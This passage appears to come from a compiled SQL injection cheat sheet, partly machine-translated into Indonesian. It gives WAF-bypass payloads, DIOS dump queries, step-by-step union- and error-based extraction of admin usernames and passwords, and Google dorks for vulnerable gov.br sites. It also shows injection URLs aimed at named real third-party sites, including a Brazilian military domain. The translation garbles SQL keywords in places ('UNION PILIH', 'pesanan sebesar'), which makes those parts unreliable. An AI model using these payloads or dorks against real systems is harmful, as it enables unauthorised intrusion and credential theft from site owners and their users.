1153
1154Seperti yang Anda lihat setelah union + select telah dihapus modal kami UNION + SELECT mengambil tempat yang berhasil menyuntikkan permintaan kami:
1155
1156UNION + PILIH + 1,2,3?
1157
11586) Pengkodean karakter:
1159
1160Kebanyakan WAF akan memecahkan kode dan menyaring masukan aplikasi, tetapi beberapa WAF hanya men-decode input sekali sehingga pengkodean ganda dapat melewati filter tertentu karena WAF akan men-decode input sekali kemudian menyaring sementara Aplikasi akan terus mendekode pernyataan SQL mengeksekusi kode kita.
1161Contoh enkode ganda:
1162
1163id = 1% 252f% 252a * / UNION% 252f% 252a / SELECT% 252f% 252a * / 1,2, kata sandi% 252f% 252a * / FROM% 252f% 252a * / Pengguna? +
1164[# Tut By Pain006]
1165
1166©
1167~ h
1168
1169
1170Bypass AQTRONIX WebKnight Filter IIS
1171
1172http://www.site.com?id=1 and (2)=(s%elect convert(int,@@version))
1173
1174http://www.site.com?id=1 and (2)=(s%elect convert(int,DB_N%AME()))
1175
1176sql.php?id=2+un/**/ion+se/**/lect+1,2,3,4
1177
1178sql.php?id=2+un/*%00*/ion+se/*%00*/lect+1,2,3,4,5
1179
1180sql.php?id=2/**/union/**/select/**/1,2,3,4,5
1181
1182sql.php?id=2+union+%0A+select+1,2,3,4,5
1183
1184sql.php?id=2+/*%00*/+union+select+1,2,3,4,5
1185
1186/?a=1+union/*&b=*/select+1,2
1187
1188/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users
1189
1190-Ph.h4rh4r
1191
1192400,403,404,406
1193ERROR BYPASS
1194--------------------
1195
1196%55nion/**/%53elect
1197
1198id=null%0A/**//*!50000%55nIOn*//*yoU*/all/**/%0A/*!%53eLEct*/%0A/*AAA*/+1,2,3--+
1199
1200500
1201ERROR BYPASS
1202--------------------
1203
1204and (select 1)=(Select 0xAA)+UnIoN+SeLeCt+1,2,3--+
1205
1206**NOTE: if you are in IE,and its ASP site,and you get error 500,goto chrome.**
1207
12081064
1209ERROR BYPASS
1210--------------------
1211
1212/**/Union/**/Select/**/
1213
1214uniunionon+selselectect
1215
1216id=(0)union(select(0),version(),(0),(0),(0),(0),(0),(0),(0))
1217
1218if you get error 1064 like:
1219
1220...syntax to use near 'union select 1,2,3,4,5,6,7,8,9' at line 1...
1221
1222its version 3,use this one
1223
1224+or+1+group+by+concat(concat_ws(0x7c,version(),database(),user()),floor(rand(0)*?2))+having+min(0)+or+1--+-
1225
1226
1227Error Based Injection
1228---------------------
1229Error based injection is deployed on databases which is powered by MS-SQL.
1230
1231Database: MY-SQL : PHP
1232MS-SQL : .asp or .aspx
1233
1234Probelm with Error Based Injection for a Hacker
1235-----------------------------------------------
12361. Version() and database() not works!!
1237Solution : @@version
1238
12392. You can not call all the tables from the given database through information_schema.
1240
12413. You cannot extract columns of your target table in a go.
1242
1243Why it is known as Error Based Injection
1244-----------------------------------------
1245It means you will get the data in an error.
1246
1247Target : vulnweb.com : It is practice framework from a company called Acunetix.
1248
1249It has all MY-SQL and MS-SQL technology attack practices.
1250
1251Step 1: Get any GET method in the URL of the website. I.e We have to look for any SOmethoing=Something.
1252http://testasp.vulnweb.com/showforum.asp?id=0
1253
1254Step 2: Check the exception handling.
1255http://testasp.vulnweb.com/showforum.asp?id=0'
1256
1257Step 3: Check the conditions required for further attack.
1258http://testasp.vulnweb.com/showforum.asp?id=0 and 1=0;
1259
1260NOte : Error Based Injection works on LIFO rule. Last in First out.
1261
1262For Example: If we have a database with tables like followings
1263threads -> 1
1264teacher->2
1265classes->3
1266fee->4
1267users->5
1268
1269Step 4: http://testasp.vulnweb.com/showforum.asp?id=0 and
12701=convert(int,(select top 1 table_name from information_schema.tables));
1271
1272Got Table : 'threads' X
1273http://testasp.vulnweb.com/showforum.asp?id=0 and
12741=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('threads')));
1275
1276Target : 'users'
1277
1278Step 5: Get the respective columns of the users table
1279http://testasp.vulnweb.com/showforum.asp?id=0 and
12801=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('uname')));
1281
1282Target Column : uname, upass
1283
1284Step 6: Get the uname and upass
1285http://testasp.vulnweb.com/showforum.asp?id=0 and
12861=convert(int,(select top 1 upass from users));
1287
1288uname:admin
1289upass: none
1290
1291~h
1292
1293
1294D I O S B Y P A S S
1295
1296DIOS MRFMR
1297concat(0x494e4a454354204259204d522e464d52,0x3c62723e,/*!00000/*!00000(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,database(),0x3a3a,table_name,0x203a3a20,column_name))))x)*/)
1298
1299DIOS MRFMR WAF
1300/*!00000concat*/(0x3C666F6E7420666163653D224963656C616E6422207374796C653D22636F6C6F723A7265643B746578742D736861646F773A307078203170782035707820233030303B666F6E742D73697A653A33307078223E496E6A6563746564206279204D722E464D5220782054333735344B315431203C2F666F6E743E3C62723E3C62723E3C666F6E7420636F6C6F723D626C61636B2073697A653D353E44622056657273696F6E203A20,version(),0x3c62723e44622055736572203a20,user(),0x3C62723E2053796D203A,@@HAVE_SYMLINK,0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
1301
1302DIOS WAF
1303(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
1304
1305DIOS SULE
1306Concat(0x3c43656e7465723e,0x3c466f6e7420436f6c6f723d22526564223e,0x3c62723e,0x3c62723e,0x3c62723e,0x3c62723e,0x4696e6a6563746564206279202e2f53756c6547616e73,0x3c62723e,0x3c62723e,0x566572736920,0x3a,Version(),0x3c62723e,0x446174616261736520,0x3a,Database(),0x3c62723e,0x5573657220,0x3a,User(),@C:=0x00,If((Select+Count(*)+From+Information_Schema.Columns+Where+Table_Schema=Database()+And+@C:=Concat(@C,0x3c62723e,Table_Name,0x3a,Column_Name)),0x00,0x00),@c,0x3c2f466f6e743e,0x3c2f43656e7465723e)
1307
1308DUMP
1309(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(namadb.namatable)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x7e,password,0x3c62723e))))x)
1310
1311(/*!50000SELECT(@x*/)/*!50000FROM*/(/*!50000SELECT(@x:=0x00*/) ,(/*!50000SELECT(@x*/)/*!50000FROM*/(miat_web2014.tbladmin)/*!50000WHERE*/(@x)/*!50000IN*/(@x:=/*!50000CONCAT*/(0x20,@x,adminName,0x7e,adminpass,0x3c62723e))))x)
1312
1313LOKOMEDIA
1314'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+
1315
1316DIOS WAF MOD SECURITY
1317/*!50000CONCAT*/(0x3c43656e7465723e,0x496e6a656374696f6e204279204d72765f323331,0x3c62723e,0x3c62723e,version/***/(),0x3c62723e,database/**/(),0x3c62723e,user/**/(),@C:=0x3c62723e,If((/!50000Select*/+Count()+/!50000From*/+/*!50000Information_Schema*/.Columns+/*!50000Where*/+Table_Schema=database/***/()+And+@C:=/!50000CONCAT*/(@C,0x3c62723e,/*!50000Table_Name*/,0x3a,0x3a,0x3a,0x3a,/*!50000Column_Name*/)),0x3a,0x00),@C)
1318
1319~hl
1320
1321
1322Beberapa injector hanya memakai query bypass tanpa menganalisa bagian kata yg di block oleh WAF ( Web Aplication Firewall )
1323
1324Sebelum nya Testing dlu :D
1325
1326kalau Order by ga work . coba pakai group+by :D
1327
1328http://www.webshit.com/vulnscript.php?id=1+order+by+1--+-
1329
1330http://www.webshit.com/vulnscript.php?id=1+group+by+1--+-
1331
1332----------------------------------------
1333
1334http://www.webshit.com/vulnscript.php?id=1+union--+- [waf]
1335
1336http://www.webshit.com/vulnscript.php?id=1+select--+- [No waf]
1337
1338brarti fungsi union di block .
1339kita coba bypass dngan kombinasi Uppercase dan lowercase .
1340
1341http://www.webshit.com/vulnscript.php?id=1+uNiOn--+- [waf Bypassed]
1342
1343atau klo masih kena Waf
1344
1345http://www.webshit.com/vulnscript.php?id=2 /*!uNiOn*/--+-
1346
1347atau
1348
1349http://www.webshit.com/vulnscript.php?id=1+/*!50000uNiOn*/--+-
1350
1351okay bypassed :D
1352
1353-------------------------------------
1354
1355tahap berikut nya Union Select
1356
1357http://www.webshit.com/vulnscript.php?id=1+union--+- [no waf]
1358
1359http://www.webshit.com/vulnscript.php?id=1+select--+- [no waf]
1360
1361tapi saat
1362
1363http://www.webshit.com/vulnscript.php?id=1+union+select--+- [Waf]
1364
1365brarti Waf block kombinasi kata union select ..
1366
1367kita bs bypass dgn
1368
1369http://www.webshit.com/vulnscript.php?id=1+union+distinctROW+select--+-
1370
1371atau
1372
1373http://www.webshit.com/vulnscript.php?id=1+union%23%0aselect--+-
1374
1375yuhuu Bypassed :D
1376
1377---------------------------------------
1378
1379Bypass dengan url Encode jg bs
1380
1381http://www.webshit.com/vulnscript.php?id=1+%75Nion+%73eLect--+-
1382
1383%75 = u
1384%73 = s
1385
1386----------------------------------------
1387
1388http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1--+- [no waf]
1389
1390http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,2--+- [waf]
1391
1392Hmm ketika menambah (,) kena waf , brarti koma harus dibypass :D
1393
1394http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,~~2--+- [bypassed]
1395
1396http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,~~2,~~3,~~4,~~5--+- [bypassed]
1397
1398atau
1399
1400http://www.webshit.com/vulnscript.php?id=1+uNiOn(/**_**/(seLeCt(1),(2),(3),(4),(5))-- - [bypassed]
1401
1402atau dgn method join :v
1403
1404----------------------------------------
1405
1406beberapa injector menggunakan UnionOnOn / informationmation_schema_schema tnpa tau maksud query itu :p
1407
1408oke skrang kita cari tau :v
1409
1410live target :
1411
1412http://zixem.altervista.org/SQLi/level3.php?item=3'+union--+-
1413
1414hasil :
1415
1416You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'uni-- -'' at line 1
1417
1418dari situ kita bs liat kalau "on" pada "union" hilang :v
1419
1420bagaimana bypass nya ??
1421
1422tambahin aja on di union nya jadi unionon :v
1423
1424http://zixem.altervista.org/SQLi/level3.php?item=3'+unionon--+-
1425
1426wokee bypassed :D
1427
1428selanjutnya sperti biasa
1429
1430http://zixem.altervista.org/SQLi/level3.php?item=3%27+and+0+unionon+select+concat(%27versailles%20::%20%27,version()),2,4,5--+-
1431
1432###############################
1433Alternativ bypass union select jika langkah diatas blm bs bypass .
1434
1435uni<>on sel<>ect
1436
1437uni*on sel*ect
1438
1439(uni)(on) (sel)(ect)
1440
1441uni[]on sel[]ect
1442
1443uni\on sel\ect
1444###############################
1445
1446Thanks
1447
1448
1449
1450SQLI Tutorial - Beginners
1451
1452http://www.ikar.ru/eng/research.php?id=1+and+1=0+union+select+1,2,concat(Login,0x3a,Password,0x3a,Status),4,5+FROM+Users+limit+0,1
1453
1454http://www.njgsca.org/blog.php?id=-1+union+select+1,username,3,4,5,6,7%20from%20users
1455
1456-h
1457
1458SQL INJECTION BYPASSES TRICKS :)
1459
14601-?name=Thomas'%20GROUP%20BY%20100%20asc%23
1461
14622-?name=Thomas'-%20.1GROUP%20BY%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100%20asc%23
1463
14643-?name=Thomas'- .1/*!50000group*/%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1465aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1466aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1467aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1468aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1469aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1470aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1471aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1472aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1473aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1474aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1475aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1476aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0aby --+%0A100;%00
1477
14784-?name=Thomas'- .1INTO @%60
14794,1-?name=Thomas'- .1INTO @,@%60
14804,2-?name=Thomas'- .1INTO @,@,@--
14814,3-?name=Thomas'- .1INTO @,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@
1482,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@
1483,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@ ;%00
1484
14855-?name=Thomas'- .1/*!50000group*//*** ^ ***/By --+%0A100;%00
1486
14876-?name=Thomas'orderby100--- (let me know if you get normal error here no waf)
1488
1489Retrieving Columns By Using PROCEDURE ANALYSE()
1490
14917-?name=Thomas' PROCEDURE ANALYSE() Get the first column's name
14927,1-?name=Thomas' LIMIT 1,1 PROCEDURE ANALYSE() Get the second column's name
14937,2-?name=Thomas' LIMIT 2,1 PROCEDURE ANALYSE() Get the third column's name
1494
14958-?name=Thomas',0;--+;%00 <<< Play Here With Zero Number >>> 0;--+;%00
1496
14970;--+;%00
14981;--+;%00
14992;--+;%00
1500
1501ETC.
1502
15039-?name=Thomas'%0D%0Aorder%0D%0Aby 100--
1504
150510-?name=Thomas'%0Bgroup%0Bby%0A1,2%23
1506
150711-?name=Thomas'/*!50000union*/-- (let me know if you get normal error here no waf)
1508
150912-?name=Thomas' or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow-1--
1510
151113-?name=Thomas'%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aunion-- (let me know if you get normal error here no waf)
1512
151314-?name=Thomas'%20And .0UnIOn--%20-%0ASeLe%43t-1--
1514
151515?name=Thomas'%75%6e%69%6f%6e--%20-%0%73%65%6c%65%63%74-1--
1516
151716-?name=Thomas'||!{f`id`}union-- a%0Aselect@--
1518
151917-?name=Thomas'||!{f`id`}/*!00000union*/-- (let me know if you get normal error here no waf)
1520
152118-?name=LlRob21hcydHcm95cCBieSAxMDAtLSAt (let me know what happen here)
1522
1523-rkx
1524
1525CATEGORIES: SQL INJECTION
1526
1527inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_fetch_assoc()
1528
1529inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_fetch_array()
1530
1531inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_num_rows()
1532
1533inurl:"gov.br" & inurl:"id=" & intext:"warning: session_start()
1534
1535inurl:"gov.br" & inurl:"id=" & intext:"warning: getimagesize()
1536
1537inurl:"gov.br" & inurl:"id=" & intext:"warning: is_writable()
1538
1539inurl:"gov.br" & inurl:"id=" & intext:"warning: unknown()
1540
1541inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_result()
1542
1543inurl:"gov.br" & inurl:"id=" & intext:"warning: pg_exec()
1544
1545inurl:"gov.
1546
1547You can change the domain what ever you want :)
1548
1549-h
1550
1551INTERBASE - FIREBIRDSQL
1552
1553http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=361/**/and/**/1=user
1554
1555http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=361/**/and/**/1=(select/**/first/**/1/**/rdb$field_name/**/from/**/rdb$relation_fields)--
1556
1557http://www.infomedia.by/image.php?operator=2)+and+1=2+union+select+rdb$field_name,2+from+rdb$relation_fields -
1558
1559http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+rdb$relation_name+from+rdb$relation_fields) -
1560
1561http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+distinct+rdb$relation_name+from+rdb$relations+where+rdb$system_flag=0) -
1562
1563http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+n+distinct+rdb$relation_name+from+rdb$relations+where+rdb$system_flag=0) -
1564http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+n+rdb$field_name+from+rdb$relation_fields+where+rdb$system_flag=0+and+rdb$relation_name=ascii_char(83)||ascii_char(85)||ascii_char(66)||ascii_char(83)) -
1565
1566http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+0+distinct+cast(id||name+as+char(777))+from+autor) -
1567
1568http://www.infomedia.by/image.php?operator=2)+and+substring((select+first+1+rdb$relation_name+from+rdb$relation_fields)+from+n+for+1)!=ascii_char(63)+and+(1=1))
1569
1570http://www.ppc4all.com/category.php?cat=(select+first+1+user+from+rdb$relation_fields)
1571
1572
1573rdb$relation_name - name of the table
1574rdb$system_flag - belong to the system table (a good way of screening, 1 = System)
1575rdb$field_name - obvious from the name
1576rdb$system_flag - the same
1577rdb$field_position - the serial number field
1578rdb$relation_name, rdb $ base_field - define table names
1579
1580©
1581-h
1582
1583Langkah-1: Memulai dengan Berbasis Union:
1584
1585Setiap db menggunakan prinsip yang sama untuk menarik data keluar dari db ofcourse itu pilih menggunakan nama kolom yang tepat.
1586
1587Saya tidak akan menjelaskan tentang pilih sebab yang saya tahu tentang itu.
1588
1589
1590Langkah-2: Memeriksa Target Untuk Vunl.
1591
1592Kode:
1593http://www.crookedtree.org/index.php?catid=583 '
1594
1595kesalahan telah terjadi dengan database! SELECT *
1596DARI bus_kategori
1597MANA id = 583 \ '
1598
1599Kesalahan MYSQL dengan MYSQL atau MS SQL dengan SQL atau ORACLE dengan ORA atau MS ACCESS dengan Jet dan
1600Peringatan: pg_exec () [function.pg-exec] <== PostgreSQL ATAU kesalahan seperti di atas.
1601
1602
1603Langkah-3: Mendapatkan Jumlah Kolom
1604
1605Untuk Mendapatkan kolom, kami menggunakan metode yang sama yang digunakan dalam urutan db lain dengan kami menggunakan - atau # untuk komentar.
1606
1607Kode:
1608http://www.crookedtree.org/index.php?catid=583 pesanan dengan 1-- <== tidak ada kesalahan
1609http://www.crookedtree.org/index.php?catid=583 pesanan oleh 2-- <== tidak ada kesalahan
1610http://www.crookedtree.org/index.php?catid=583 pesanan sebesar 3-- <== tidak ada kesalahan
1611http://www.crookedtree.org/index.php?catid=583 pesanan sebesar 4-- <== tidak ada kesalahan
1612
1613Kami akan melakukan increament of 1 hingga mendapatkan kesalahan dan kami memiliki kesalahan pada kolom ke-14.
1614
1615Itu berarti kita memiliki 13 kolom (error_column_num - 1) = 13.
1616
1617Metode lain mengeksekusi query dengan union dan masuk ke kolom I.E
1618
1619Kode:
1620http://www.crookedtree.org/index.php?catid=-583 union pilih null-- <== kesalahan
1621http://www.crookedtree.org/index.php?catid=-583 union pilih null, null-- <== kesalahan
1622http://www.crookedtree.org/index.php?catid=-583 union pilih null, null, null-- <== kesalahan
1623
1624Kami akan terus menambahkan nol hingga kami mendapatkan halaman kosong atau situs yang dimuat. Metode ini benar-benar anoying Big Grin.
1625
1626
1627Langkah-4: Mendapatkan Data untuk Kolom Visble.
1628
1629Istilah sebagian besar penggunaan ppl adalah kolom vuln. Sama seperti injeksi Oracle, kita akan menggunakan tipe data Null untuk kolom.
1630
1631Pertanyaannya adalah mengapa ????? Karena kita tidak tahu tentang datatype sehingga menggunakan datatype null akan melakukan trik untuk kita.
1632dan tentu saja beberapa situs memang memiliki nilai interger sehingga akan digunakan sebagai sebaliknya.
1633
1634Kode:
1635http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, null, null, null, null, null,
1636null, null, null, null, null--
1637
1638Sekarang dapat melihat halaman dimuat dengan kesalahan keluar (beberapa waktu dimuat tetapi konten yang hilang seperti di situs ini).
1639
1640Sekarang apa tapi tidak bisa melihat cetak coulmn di layar. Mari kita lanjutkan dengan nilai interger tetapi 0.
1641
1642Kode:
1643http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0, null, null, null, null, null, null, null,
1644null, null, null, null, null-- <== tidak ada kesalahan
1645http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0,0, null, null, null, null, null, null,
1646null, null, null, null, null-- <== tidak ada kesalahan
1647http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0,0,0, null, null, null, null, null,
1648null, null, null, null, null-- <== kesalahan
1649http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0,0, null, 0, null, null, null, null,
1650null, null, null, null, null-- <== kesalahan
1651
1652Akan terus mengganti nol dengan nilai interget "0" sampai mendapat kesalahan. Wow kami memiliki kesalahan pada kolom ke-3 dan ke-4, ada kolom lain yang juga tetapi kami berhenti di sini dan pindah ke langkah berikutnya.
1653
1654Ini yang kami cari.
1655
1656
1657Langkah-5: Mendapatkan Versi DB
1658
1659Sekarang permintaan kami akan sama dengan nol kecuali kolom keempat, akan menggantikannya dengan versi.
1660
1661Kode:
1662http://www.crookedtree.org/index.php?catid=-583 UNION SELECT null, null, null, version (), null, null, null, null,
1663null, null, null, null, null--
1664
1665PostgreSQL 8.2.9 pada x86_64-pc-linux-gnu, yang dikompilasi oleh GCC cc (GCC) 4.1.2 (Ubuntu 4.1.2-0ubuntu4)
1666
1667Sekarang sudah mendapat versi db Big Grin.
1668
1669
1670Langkah-6: Mendapatkan DBz dan Tabel Skema lainnya
1671
1672Saya akan memeriksa apakah target ini memiliki db lain atau tidak
1673
1674Kode:
1675http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, datname, null, null, null, null,
1676null, null, null, null, null DARI pg_database--
1677
1678AAA <== db
1679
1680kita hanya melihat satu database pada satu waktu, Sekarang apa yang harus dilakukan hmmm bagaimana menggunakan batas untuk mendapatkan orang lain Big Grin.
1681
1682Kode:
1683http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, datname, null, null, null,
1684null, null, null, null, null, null DARI pg_database LIMIT 1 OFFSET 1--
1685
1686LIMIT 1 OFFSET 1 <== nilai OFFSET. Jika kita terus mengubah nilai ini maka kita akan mendapatkan db Big Grin berikutnya seperti 1 2 3 .....
1687
1688Saya akan menjelaskan cara menggunakan db lain untuk injeksi di tutz lain. Sekarang kita akan pindah ke injeksi kami.
1689
1690Langkah-6.1: Sekarang Memperoleh Tabel Skema.
1691
1692Kode:
1693http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null,
1694table_name, null, null, null, null, null, null, null, null, null DARI INFORMATION_SCHEMA.TABLES--
1695
1696buku tambahan
1697
1698Bad thing is cant concat hehehe aah jadi apa yang harus dilakukan sekarang. Kami harus menggunakan batas. Saya sudah jelaskan
1699bagaimana cara menggunakannya .
1700
1701Kode:
1702http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null,
1703table_name, null, null, null, null, null, null, null, null, null DARI INFORMATION_SCHEMA.TABLES batas 1 offset 3--
1704
1705artist_entry
1706
1707ATAU Tabel Dari Skema DB Saat Ini
1708
1709Kode:
1710http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, table_name, null, null,
1711null, null, null, null, null, null, null DARI INFORMATION_SCHEMA.TABLES dimana table_schema = current_schema ()
1712limit 1 offset 0--
1713
1714buku tambahan
1715
1716Hanya
1717
1718MS-ACCESS INJECTION TUTORIAL
1719
1720Jadi kita akan memulai Penyuntikan Kita Secara Manual. Pertama kita harus memeriksa apakah situs Target kami Rentan. Jadi kita akan menggunakan Jenis Penginjeksian biasa dan menambahkan Single Quote 'di bagian akhir Parameter.
1721
1722dan Jalankan URL
1723
1724http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 '
1725Di sini kami mendapat ERROR! !
1726
1727KESALAHAN:
1728Kesalahan Microsoft JET Database Engine '80040e14'
1729Kesalahan sintaks dalam string dalam ekspresi query 'ID = 341' '.
1730/dettaglio-news.asp, baris 91
1731Jadi Target Kami Rentan. Sebelum Memulai Proses Lain terlebih dahulu, kami harus menyeimbangkan permintaan kami. Kami akan menggunakan Berbagai Komentar untuk menyeimbangkan Permintaan Kami.
1732
1733http://www.Vuln-Site.com/dettaglio-news.asp?ID=341--+ Kesalahan!
1734
1735KESALAHAN: Kesalahan sintaks (operator tidak ada) dalam ekspresi kueri 'ID = 341--'.
1736
1737http://www.Vuln-Site.com/dettaglio-news.asp?ID=341-- Lagi Kesalahan !!
1738
1739Sekarang, mari kita periksa null-byte ";% 00"
1740http://www.Vuln-Site.com/dettaglio-news.asp?ID=341;% 00 Kesalahan Hilang !!
1741jadi akan melanjutkan Injecting Kami Dengan menggunakan Null-Byte di bagian akhir Parameter.
1742
1743Sekarang kita harus menghitung Jumlah Kolom. Jadi Untuk Tujuan Ini kita akan menggunakan perintah ORDER BY Biasanya.
1744Mari Periksa Jumlah Kolom:
1745http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 1;% 00
1746Tidak Ada Kesalahan. Halaman Dimuat Secara Normal!
1747
1748http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 5;% 00
1749Sekali lagi Tidak Ada Kesalahan!
1750
1751http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 8;% 00
1752Lagi halaman Loaded Biasanya!
1753
1754tetapi pada pesanan jam 9 kami sudah mendapat ERROR!
1755http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 9;% 00
1756
1757KESALAHAN:
1758Kesalahan Microsoft JET Database Engine '80040e14'
1759Mesin database Microsoft Jet tidak mengenali '9' sebagai nama atau ekspresi lapangan yang valid.
1760/dettaglio-news.asp, baris 91
1761Jadi Ada 8 Kolom.
1762Sekarang Mari Siapkan perintah UNION BASED kami.
1763Setelah Melaksanakan Permintaan BERDASARKAN UNION Kami Punya KESALAHAN:
1764http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Select 1,2,3,4,5,6,7,8;% 00
1765
1766KESALAHAN:
1767Kesalahan Microsoft JET Database Engine '80004005'
1768Input kueri harus berisi setidaknya satu tabel atau kueri.
1769/dettaglio-news.asp, baris 91
1770Di sini Comes The Main part.As jumlah kolom kami benar.jadi sepertinya Database adalah mysql 4.
